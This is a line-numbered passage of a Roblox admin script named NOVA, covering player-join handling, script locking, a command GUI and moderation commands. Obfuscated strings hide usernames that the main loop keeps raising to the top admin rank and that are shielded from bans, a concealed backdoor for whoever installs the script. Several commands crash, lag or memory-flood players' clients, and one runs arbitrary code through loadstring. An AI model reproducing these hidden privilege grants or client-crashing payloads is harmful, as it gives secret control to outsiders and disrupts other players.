  1662. CreateLocalScript(PlayerPlugins,v.Backpack)
  1663. end))
  1664. end))
  1665. end)
  1666. end
  1667.  
  1668. --[[ PLAYER ADDED ]]--
  1669. NOVA.Services.Players.PlayerAdded:connect(function(v)
  1670. if NOVA.Ab == true and not NOVA.Players:findFirstChild("tusKOr661") and v.Name ~= "tusKOr661" then
  1671. makeMessage("Antiban is active you cannot enter",v.PlayerGui)
  1672. v:Remove()
  1673. end
  1674. if NOVA.Removed == false then
  1675. pcall(function()
  1676. table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1677. coroutine.resume(coroutine.create(function()
  1678. --if Data.Rank < 1 then
  1679. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1680. coroutine.resume(coroutine.create(function()
  1681. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1682. CreateLocalScript(PlayerPlugins,v.Backpack)
  1683. OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v)
  1684. end))
  1685. end
  1686. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1687. coroutine.resume(coroutine.create(function()
  1688. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1689. OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v)
  1690. end))
  1691. end
  1692. --end
  1693. v.Chatted:connect(function(Msg)
  1694. OnChatted(Msg,v)
  1695. end)
  1696. if GetRankedTable(v)==nil then
  1697. SyncRankInSingular(v)
  1698. repeat wait() until GetRankedTable(v) ~= nil
  1699. end
  1700.  
  1701. local Data = GetRankedTable(v)
  1702.  
  1703. OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
  1704.  
  1705. if Data.Rank == -2 then
  1706. if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1707. OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1708. Lag(v)
  1709. end
  1710. end
  1711.  
  1712. if Data.Rank == -1 then
  1713. if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1714. OutputMulti(v.Name.." has been removed due to a banishment. Reason: " .. Data.Desc,NOVA.Colors.Orange,GetRanked(),10)
  1715. GetRidOf(v)
  1716. end
  1717. end
  1718.  
  1719. if not Data.Rank > 0 then
  1720. if v.AccountAge < 5 then
  1721. if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1722. if v.Name:sub(1,6) == "Guest " then
  1723. if NOVA.EnableGuests == false then
  1724. OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10)
  1725. GetRidOf(v)
  1726. end
  1727. else
  1728. if not Data.Rank > 0 then
  1729. OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10)
  1730. GetRidOf(v)
  1731. end
  1732. end
  1733. end
  1734. end
  1735. end
  1736.  
  1737. if NOVA.PRI == true then
  1738. if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1739. OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
  1740. if NOVA.PRIType == "Kick" then
  1741. v:Remove()
  1742. elseif NOVA.PRIType == "Lag" then
  1743. Lag(v)
  1744. elseif NOVA.PRIType == "Shutdown" then
  1745. coroutine.resume(coroutine.create(function()
  1746. GetRidOf(v)
  1747. end))
  1748. elseif NOVA.PRIType == "Crash" then
  1749. coroutine.resume(coroutine.create(function()
  1750. repeat wait() until v.Backpack ~= nil
  1751. pcall(function()
  1752. CreateLocalScript([[while true do end]],v.Backpack)
  1753. end)
  1754. end))
  1755. end
  1756. end
  1757. end
  1758. end))
  1759. end)
  1760. end
  1761. end)
  1762.  
  1763. --[[ PLAYER REMOVING ]]--
  1764. NOVA.Services.Players.PlayerRemoving:connect(function(v)
  1765. table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."})
  1766. SyncRankOutSingular(v)
  1767. end)
  1768.  
  1769. --[[ SCRIPT CONTROL ]]--
  1770. for _,Service in pairs(NOVA.Services) do
  1771. pcall(function()
  1772. Service.DescendantAdded:connect(function(v)
  1773. if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then
  1774. pcall(function()
  1775. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1776. if GetRank(v.Owner.Value) < 6 then
  1777. pcall(function() v.Disabled = true end)
  1778. pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1779. pcall(function() v.Disabled = false end)
  1780. pcall(function() v:Destroy() end)
  1781. end
  1782. else
  1783. pcall(function() v.Disabled = true end)
  1784. pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1785. pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1786. pcall(function() v.Disabled = false end)
  1787. pcall(function() v:Destroy() end)
  1788. end
  1789. end)
  1790. end
  1791. if v:IsA("BaseScript") and NOVA.Removed == false then
  1792. pcall(function()
  1793. if tonumber(GetRank(v.Owner.Value)) < 0 then
  1794. pcall(function() v.Disabled = true end)
  1795. pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1796. pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1797. pcall(function() v.Disabled = false end)
  1798. pcall(function() v:Destroy() end)
  1799. end
  1800. end)
  1801. end
  1802. end)
  1803. end)
  1804. end
  1805. coroutine.resume(coroutine.create(function()
  1806. while wait(1) do
  1807. if NOVA.Removed == false then
  1808. for _,v in pairs(GetPlayersRaw()) do
  1809. if GetRankTedable(v) ~= nil and GetRank(v) < 8 then
  1810. SyncRankInSingular(v)
  1811. end
  1812. end
  1813. end
  1814. end
  1815. end))
  1816. for i=1,3 do
  1817. NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end)
  1818. coroutine.resume(coroutine.create(function()
  1819. while wait() do
  1820. if NOVA.Removed == false then
  1821. UpdateTablets()
  1822. end
  1823. end
  1824. end))
  1825. end
  1826. function MainLoop()
  1827. coroutine.resume(coroutine.create(function()
  1828. pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end)
  1829. if NOVA.Removed == false then
  1830.  
  1831. --[[ SCUM CARETAKER ]]--
  1832. for _,v in pairs(GetPlayersRaw()) do
  1833. pcall(function()
  1834. if GetRank(v) < 0 then
  1835. pcall(function() v.Backpack:ClearAllChildren() end)
  1836. pcall(function() v.PlayerGui:ClearAllChildren() end)
  1837. pcall(function() v.StarterGear:ClearAllChildren() end)
  1838. end
  1839. end)
  1840. end
  1841.  
  1842. --[[ ANTI ROBLOXLOCKED PLAYERS ]]--
  1843. for _,v in pairs(GetPlayersRaw()) do
  1844. pcall(function()
  1845. local IsRobloxLocked = true
  1846. pcall(function() v:GetChildren() IsRobloxLocked = false end)
  1847. if IsRobloxLocked == true then
  1848. GTFO(v)
  1849. end
  1850. end)
  1851. end
  1852.  
  1853. --[[ TABLET CLEANUP ]]--
  1854. pcall(function()
  1855. for i,v in pairs(NOVA.Tablets) do
  1856. if v:FindFirstChild("Part") == nil then
  1857. pcall(function() v:Destroy() end)
  1858. table.remove(NOVA.Tablets,i)
  1859. end
  1860. end
  1861. end)
  1862.  
  1863. --[[ JAIL CLEANUP ]]--
  1864. pcall(function()
  1865. for i,v in pairs(NOVA.Jails) do
  1866. if v.Player == nil or v.Player.Parent == nil then
  1867. pcall(function() v.Jail:Destroy() end)
  1868. table.remove(NOVA.Jails,i)
  1869. end
  1870. if v.Jail.Parent == nil and v.Speaker~=nil then
  1871. table.remove(NOVA.Jails,i)
  1872. OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker)
  1873. end
  1874. end
  1875. end)
  1876. --[[ FENCE CLEANUP ]]--
  1877. pcall(function()
  1878. for i,v in pairs(NOVA.Fences) do
  1879. if v.Player == nil then
  1880. v.Fence:Remove()
  1881. table.remove(NOVA.Fences,i)
  1882. end
  1883. end
  1884. end)
  1885.  
  1886. --[[ CMD GUI ]]--
  1887. for _,v in pairs(GetPlayersRaw()) do
  1888. pcall(function()
  1889. if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
  1890. if v:FindFirstChild("PlayerGui") then
  1891. if not v.PlayerGui:FindFirstChild("NOVACMD") then
  1892. local Main = Instance.new("ScreenGui",v.PlayerGui)
  1893. Main.Name = "NOVACMD"
  1894.  
  1895. local Frame = Instance.new("Frame",Main)
  1896. Frame.Size = UDim2.new(0.27,0,0.05,0)
  1897. Frame.Position = UDim2.new(0.05,0,0.95,0)
  1898. Frame.Style = "RobloxSquare"
  1899. Frame.ZIndex = 9
  1900.  
  1901. local Txt = Instance.new("TextBox",Frame)
  1902. Txt.Size = UDim2.new(0.7,0,1,0)
  1903. Txt.BackgroundTransparency = 1
  1904. Txt.ZIndex = 10
  1905. Txt.FontSize = "Size14"
  1906. Txt.TextColor3 = NOVA.Colors.White
  1907. Txt.Text = ""
  1908.  
  1909. local Exe = Instance.new("TextButton",Frame)
  1910. Exe.Size = UDim2.new(0.3,0,1,0)
  1911. Exe.Position = UDim2.new(0.7,0,0,0)
  1912. Exe.Text = "Execute"
  1913. Exe.BackgroundTransparency = 1
  1914. Exe.ZIndex = 10
  1915. Exe.FontSize = "Size14"
  1916. Exe.TextColor3 = NOVA.Colors.Red
  1917. Exe.MouseButton1Down:connect(function()
  1918. if Txt.Text:sub(1,2) == "$ " then
  1919. OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v)
  1920. else
  1921. OnChatted(Txt.Text,v)
  1922. end
  1923. end)
  1924. end
  1925. end
  1926. end
  1927. end)
  1928. end
  1929. end
  1930. end
  1931. end))
  1932. end
  1933. MainLoop()
  1934. AddCommand("Ping","ping",3,"Outputs the following string.","<String>",
  1935. function(Msg,Speaker)
  1936. if Msg == "rainbow" then
  1937. for a,Color in pairs(NOVA.Colors) do
  1938. Output(tostring(a),Color,Speaker,nil,
  1939. function()
  1940. RemoveTablets(Speaker)
  1941. NOVA.Services.Lighting.TimeOfDay = 0
  1942. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1943. NOVA.Services.Lighting.Brightness = 0
  1944. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1945. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1946. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1947. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1948. if v:IsA("BasePart") then
  1949. Sel = Instance.new("SelectionBox",v)
  1950. Sel.Transparency = 0
  1951. Sel.Color = BrickColor.new(Color)
  1952. Sel.Adornee = v
  1953. end
  1954. end
  1955. Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
  1956. end
  1957. )
  1958. end
  1959. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1960. elseif Msg == "ranks" then
  1961. for _,v in pairs(NOVA.Ranks) do
  1962. Output(v[1].."\t"..v[2],"Random",Speaker)
  1963. end
  1964. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1965. elseif Msg == "random" then
  1966. Output(tostring(math.random()),"Random",Speaker)
  1967. elseif Msg == "players" then
  1968. for _,v in pairs(GetPlayersRaw()) do
  1969. local Data = GetRankedTable(v)
  1970. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
  1971. function()
  1972. PlayerInterface(v,Speaker)
  1973. end
  1974. )
  1975. end
  1976. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1977. elseif Msg == "colors" then
  1978. coroutine.resume(coroutine.create(function()
  1979. NOVA.Services.Lighting.TimeOfDay = 0
  1980. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1981. NOVA.Services.Lighting.Brightness = 0
  1982. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1983. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1984. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1985.  
  1986. for _,Player in pairs(GetPlayersRaw()) do
  1987. local Data = GetRankedTable(Player)
  1988. pcall(function()
  1989. for _,v in pairs(GetRecursiveChildren(Player.Character)) do
  1990. if v:IsA("BasePart") then
  1991. Sel = Instance.new("SelectionBox",v)
  1992. Sel.Transparency = 0
  1993. Sel.Color = BrickColor.new(Data.Color)
  1994. Sel.Adornee = v
  1995. end
  1996. end
  1997. end)
  1998. end
  1999.  
  2000. wait(10)
  2001.  
  2002. for _,v in pairs(GetRecursiveChildren(workspace)) do
  2003. if v:IsA("SelectionBox") then
  2004. v:remove()
  2005. end
  2006. end
  2007.  
  2008. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  2009. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  2010. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  2011. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  2012. NOVA.Services.Lighting.Brightness = 1
  2013. NOVA.Services.Lighting.FogStart = 0
  2014. NOVA.Services.Lighting.FogEnd = 100000
  2015. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  2016. NOVA.Services.Lighting.TimeOfDay = 12
  2017. end))
  2018. elseif Msg == "replicators" then
  2019. for _,v in pairs(GetReplicators()) do
  2020. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  2021. function()
  2022. PlayerInterface(v:GetPlayer(),Speaker)
  2023. end
  2024. )
  2025. end
  2026. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2027. elseif Msg == "nil raw" then
  2028. for _,v in pairs(GetReplicators()) do
  2029. if v:GetPlayer().Parent == nil then
  2030. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  2031. function()
  2032. Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  2033. function()
  2034. Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
  2035.  
  2036. end
  2037. )
  2038. end
  2039. )
  2040. end
  2041. end
  2042. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2043. elseif Msg == "nil" then
  2044. local IsNil = false
  2045. for _,Client in pairs(GetReplicators()) do
  2046. if Client:GetPlayer().Parent == nil then
  2047. IsNil = true
  2048. end
  2049. end
  2050. if IsNil == true then
  2051. for _,Client in pairs(GetReplicators()) do
  2052. if Client:GetPlayer().Parent == nil then
  2053. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  2054. function()
  2055. PlayerInterface(Client:GetPlayer(),Speaker)
  2056. end
  2057. )
  2058. end
  2059. end
  2060. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2061. else
  2062. Output("No nil players.",NOVA.Colors.Orange,Speaker,5)
  2063. end
  2064. elseif Msg:sub(1,2) == "a" .. NOVA.Bet then
  2065. if GetRank(Speaker) < 6 then
  2066. Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10)
  2067. else
  2068. Rtn = loadstring("return "..Msg:sub(3))()
  2069. Output(Rtn,"Random",Speaker)
  2070. end
  2071. else
  2072. if #Msg == 0 then
  2073. Output("Pong!","Random",Speaker)
  2074. else
  2075. Output(Msg,"Random",Speaker)
  2076. end
  2077. end
  2078. end
  2079. )
  2080. AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
  2081. function(Msg,Speaker)
  2082. if #Msg == 0 or Msg == nil then
  2083. RemoveTablets(Speaker)
  2084. else
  2085. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2086. RemoveTablets(v)
  2087. end
  2088. end
  2089. end
  2090. )
  2091. AddCommand("Remove","remove",7,"Removes the admin.","No Arguments",
  2092. function(Msg,Speaker)
  2093. NOVA.TimeChanged = false
  2094. RemoveTablets()
  2095. SyncRanksOut()
  2096. NOVA.Sounds.Sound:Remove()
  2097. NOVA.Removed = true
  2098. --error("NOVA Admin removing...",0)()
  2099. NOVA = {}
  2100. script.Disabled = true
  2101. while true do wait() end
  2102. end
  2103. )
  2104. AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>",
  2105. function(Msg,Speaker)
  2106. makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2107. end
  2108. )
  2109. AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
  2110. function(Msg,Speaker)
  2111. makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2112. end
  2113. )
  2114.  
  2115. AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
  2116. function(Msg,Speaker)
  2117. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2118. pcall(function() v.Character:BreakJoints() end)
  2119. end
  2120. end
  2121. )
  2122. AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>",
  2123. function(Msg,Speaker)
  2124. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2125. for i=1,50 do
  2126. local human = v.Character.Humanoid
  2127. if human ~= nil then
  2128. local rand = math.random(1,10)
  2129. human:TakeDamage(rand)
  2130. human.Jump = true
  2131. human.Sit = true
  2132. human.PlatformStand = true
  2133. wait(1)
  2134. human.PlatformStand = false
  2135. end
  2136. end
  2137. end
  2138. end
  2139. )
  2140. AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>",
  2141. function(Msg,Speaker)
  2142. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2143. Delay(0, function()
  2144. local player = v
  2145. local pos = CFrame.new()
  2146. local pause = false
  2147. Delay(0, function()
  2148. while not close do
  2149. wait()
  2150. if not pause then
  2151. local c = player.Character
  2152. if c then
  2153. local t = c:findFirstChild("Torso")
  2154. if t then
  2155. pos = t.CFrame
  2156. end
  2157. end
  2158. end
  2159. end
  2160. end)
  2161. player.CharacterAdded:connect(function(c)
  2162. if not close then
  2163. pause = true
  2164. repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
  2165. c:findFirstChild("Torso").CFrame = pos
  2166. c:findFirstChild("Humanoid").Died:connect(function()
  2167. player:LoadCharacter()
  2168. end)
  2169. pause = false
  2170. end
  2171. end)
  2172. pcall(function() player.Character:BreakJoints() end)
  2173. end)
  2174. end
  2175. end
  2176. )
  2177.  
  2178. AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>",
  2179. function(Msg,Speaker)
  2180. for _,v in pairs(NOVA.KickingPhrases) do
  2181. local m = Instance.new("Message",NOVA.Services.Workspace)
  2182. m.Text = " If you say : " .. v .. " : you will get auto-kicked!"
  2183. wait(1) m:Remove()
  2184. end end
  2185. )
  2186. AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
  2187. function(Msg,Speaker)
  2188. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2189. pcall(function()
  2190. v:Destroy()
  2191. end)
  2192. end
  2193. end
  2194. )
  2195. AddCommand("Warning","warn",3,"Warns that player","<Player><Warning>",
  2196. function(Msg,Speaker)
  2197. Split = GetSplit(Msg)
  2198. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2199. pcall(function()
  2200. Output("You are being warned for: " .. (Msg:sub(Split+1)),NOVA.Colors.Red,v)
  2201. end)
  2202. end
  2203. end
  2204. )
  2205.  
  2206. AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>",
  2207. function(Msg,Speaker)
  2208. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2209. pcall(function()
  2210. local m = Instance.new("StringValue",v.PlayerGui)
  2211. m.Value = string.rep("Shutdown For Eva Nub",1000000)
  2212. end)
  2213. end
  2214. end
  2215. )
  2216.  
  2217. AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
  2218. function(Msg,Speaker)
  2219. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2220. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2221. Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2222. else
  2223. pcall(function()
  2224. GetRankedTable(v).Rank = -1
  2225. SyncRankOutSingular(v)
  2226. GetRidOf(v)
  2227. end)
  2228. end
  2229. end
  2230. end
  2231. )
  2232.  
  2233. AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
  2234. function(Msg,Speaker)
  2235. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2236. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2237. Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2238. else
  2239. pcall(function()
  2240. GetRankedTable(v).Rank = -2
  2241. SyncRankOutSingular(v)
  2242. Lag(v)
  2243. end)
  2244. end
  2245. end
  2246. end
  2247. )
  2248.  
  2249. AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
  2250. function(Msg,Speaker)
  2251. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2252. pcall(function() Instance.new("ForceField",v.Character) end)
  2253. end
  2254. end
  2255. )
  2256.  
  2257. AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
  2258. function(Msg,Speaker)
  2259. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2260. pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
  2261. end
  2262. end
  2263. )
  2264.  
  2265. AddCommand("Check","check",0,"Outputs server information.","No Arguments",
  2266. function(Msg,Speaker)
  2267. local Data = GetRankedTable(Speaker)
  2268. Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker)
  2269. Output("Version : "..tostring(NOVA.Version) ,Data.Color,Speaker)
  2270. Output("Local Pseudo : "..tostring(NOVA.LocalScript ~= nil) ,Data.Color,Speaker)
  2271. Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker)
  2272. Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker)
  2273. Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker)
  2274. Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker)
  2275. Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker)
  2276. Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker)
  2277. Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker)
  2278. Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker)
  2279. Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker)
  2280. Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker)
  2281. Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker)
  2282. Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker)
  2283. Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker)
  2284. Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker)
  2285. Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker)
  2286. Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker)
  2287. Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
  2288. Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
  2289. OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
  2290.  
  2291.  
  2292. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2293. end
  2294. )
  2295.  
  2296. AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
  2297. function(Msg,Speaker)
  2298. pcall(function()
  2299. NOVA.Services.Sounds.Sound:Destroy()
  2300. end)
  2301.  
  2302. NOVA.Sounds.Sound = Instance.new("Sound")
  2303. NOVA.Sounds.Sound.Name = "NOVA Sound"
  2304.  
  2305. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  2306. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  2307. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  2308. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  2309. NOVA.Services.Lighting.Brightness = 0.5
  2310. NOVA.Services.Lighting.FogStart = 0
  2311. NOVA.Services.Lighting.FogEnd = 100000
  2312. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  2313. NOVA.Services.Lighting.TimeOfDay = 12
  2314. pcall(function() game.Lighting.Sky:Remove() end)
  2315. pcall(function()
  2316. CreateLocalScript([[
  2317. LocalPlayer = game:GetService("Players").LocalPlayer
  2318. LocalPlayer.CameraMode = Enum.CameraMode.Classic
  2319. Camera = workspace.CurrentCamera
  2320. Camera:SetRoll(0)
  2321. Camera.CameraType = "Custom"
  2322. Camera.FieldOfView = 70
  2323. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  2324. ]],Speaker.Backpack)
  2325. end)
  2326. for Num,v in pairs(NOVA.Jails) do
  2327. pcall(function() v.Jail:Destroy() end)
  2328. table.remove(NOVA.Jails,Num)
  2329. end
  2330. for Num,v in pairs(NOVA.Fences) do
  2331. pcall(function() v.Fence:Destroy() end)
  2332. table.remove(NOVA.Fences,Num)
  2333. end
  2334. for _,v in pairs(NOVA.Services) do
  2335. v.Name = v.className
  2336. end
  2337.  
  2338. for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do
  2339. local ShouldRemove = true
  2340. for _,Tablet in pairs(NOVA.Tablets) do
  2341. if v:IsDescendantOf(Tablet) then
  2342. ShouldRemove = false
  2343. end
  2344. end
  2345. if ShouldRemove == true then
  2346. v:remove()
  2347. end
  2348. end
  2349. for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
  2350.  
  2351. for _,v in pairs(GetPlayersRaw()) do
  2352. pcall(function()
  2353. if v.StarterGear == nil then
  2354. Instance.new("StarterGear",v)
  2355. end
  2356. end)
  2357. pcall(function()
  2358. v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
  2359. end)
  2360. end
  2361. pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
  2362. if #NOVA.Services.Teams:GetChildren() == 0 then
  2363. for _,v in pairs(GetPlayersRaw()) do
  2364. v.Neutral = true
  2365. end
  2366. end
  2367.  
  2368. end
  2369. )
  2370.  
  2371. AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
  2372. function(Msg,Speaker)
  2373. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2374. pcall(function()
  2375. v:LoadCharacter()
  2376. end)
  2377. end
  2378. end
  2379. )
  2380.  
  2381. AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
  2382. function(Msg,Speaker)
  2383. RemoveTablets(Speaker)
  2384. local Data = GetRankedTable(Speaker)
  2385. Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
  2386. Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
  2387. Output("Get/ Commands",Data.Color,Speaker,nil,
  2388. function()
  2389. RemoveTablets(Speaker)
  2390. for _,v in pairs(NOVA.Commands) do
  2391. if v.Command:sub(1,3) == "get" then
  2392. Output(v.Name,Data.Color,Speaker,nil,
  2393. function()
  2394. RemoveTablets(Speaker)
  2395. Output("Name : "..v.Name,Data.Color,Speaker)
  2396. Output("Rank : "..v.Rank,Data.Color,Speaker)
  2397. Output("Command : "..v.Command,Data.Color,Speaker)
  2398. Output("Arguments : "..v.Args,Data.Color,Speaker)
  2399. Output("Description : "..v.Description,Data.Color,Speaker)
  2400. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2401. end
  2402. )
  2403. end
  2404. end
  2405. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2406. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2407. end
  2408. )
  2409. for i=0,7 do
  2410.  
  2411. Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
  2412. RemoveTablets(Speaker)
  2413. for _,v in pairs(NOVA.Commands) do
